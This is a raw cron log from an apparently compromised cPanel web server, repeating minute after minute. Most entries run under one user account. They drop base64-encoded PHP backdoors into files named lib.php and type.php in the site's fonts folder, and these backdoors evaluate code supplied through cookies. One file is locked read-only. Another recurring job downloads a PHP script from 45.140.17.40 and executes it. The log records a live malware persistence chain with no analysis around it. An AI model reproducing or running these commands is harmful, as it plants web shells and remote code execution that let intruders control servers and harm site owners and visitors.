Feb 23 01:47:01 ip-184-168-122-23 CROND[26710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:47:01 ip-184-168-122-23 CROND[26711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:48:01 ip-184-168-122-23 CROND[27037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:48:01 ip-184-168-122-23 CROND[27041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:48:01 ip-184-168-122-23 CROND[27047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:48:01 ip-184-168-122-23 CROND[27046]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:48:01 ip-184-168-122-23 CROND[27048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:49:01 ip-184-168-122-23 CROND[27388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:49:01 ip-184-168-122-23 CROND[27389]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Feb 23 01:49:01 ip-184-168-122-23 CROND[27391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:49:01 ip-184-168-122-23 CROND[27392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:49:01 ip-184-168-122-23 CROND[27394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:50:01 ip-184-168-122-23 CROND[27824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:50:01 ip-184-168-122-23 CROND[27825]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 01:50:01 ip-184-168-122-23 CROND[27831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:50:01 ip-184-168-122-23 CROND[27830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:50:01 ip-184-168-122-23 CROND[27829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:50:01 ip-184-168-122-23 CROND[27836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:50:01 ip-184-168-122-23 CROND[27832]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 01:50:01 ip-184-168-122-23 CROND[27834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:50:01 ip-184-168-122-23 CROND[27837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:51:01 ip-184-168-122-23 CROND[28207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:51:01 ip-184-168-122-23 CROND[28208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:51:01 ip-184-168-122-23 CROND[28210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:51:01 ip-184-168-122-23 CROND[28213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:52:01 ip-184-168-122-23 CROND[28545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:52:01 ip-184-168-122-23 CROND[28547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:52:01 ip-184-168-122-23 CROND[28549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:52:01 ip-184-168-122-23 CROND[28548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:52:01 ip-184-168-122-23 CROND[28551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:53:01 ip-184-168-122-23 CROND[28874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:53:01 ip-184-168-122-23 CROND[28876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:53:01 ip-184-168-122-23 CROND[28877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:53:01 ip-184-168-122-23 CROND[28878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:54:02 ip-184-168-122-23 CROND[29208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:54:02 ip-184-168-122-23 CROND[29214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:54:02 ip-184-168-122-23 CROND[29211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:54:02 ip-184-168-122-23 CROND[29212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:54:02 ip-184-168-122-23 CROND[29213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:55:01 ip-184-168-122-23 CROND[29648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:55:01 ip-184-168-122-23 CROND[29649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:55:01 ip-184-168-122-23 CROND[29652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:55:01 ip-184-168-122-23 CROND[29654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:55:01 ip-184-168-122-23 CROND[29657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:55:01 ip-184-168-122-23 CROND[29656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:56:01 ip-184-168-122-23 CROND[29992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:56:01 ip-184-168-122-23 CROND[29994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:56:01 ip-184-168-122-23 CROND[29995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:56:01 ip-184-168-122-23 CROND[29996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:56:01 ip-184-168-122-23 CROND[29997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:57:01 ip-184-168-122-23 CROND[30327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:57:01 ip-184-168-122-23 CROND[30326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:57:01 ip-184-168-122-23 CROND[30328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:57:01 ip-184-168-122-23 CROND[30332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:58:01 ip-184-168-122-23 CROND[30670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:58:01 ip-184-168-122-23 CROND[30672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:58:01 ip-184-168-122-23 CROND[30673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:58:01 ip-184-168-122-23 CROND[30675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:58:01 ip-184-168-122-23 CROND[30674]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:59:01 ip-184-168-122-23 CROND[31003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:59:01 ip-184-168-122-23 CROND[31005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:59:01 ip-184-168-122-23 CROND[31006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
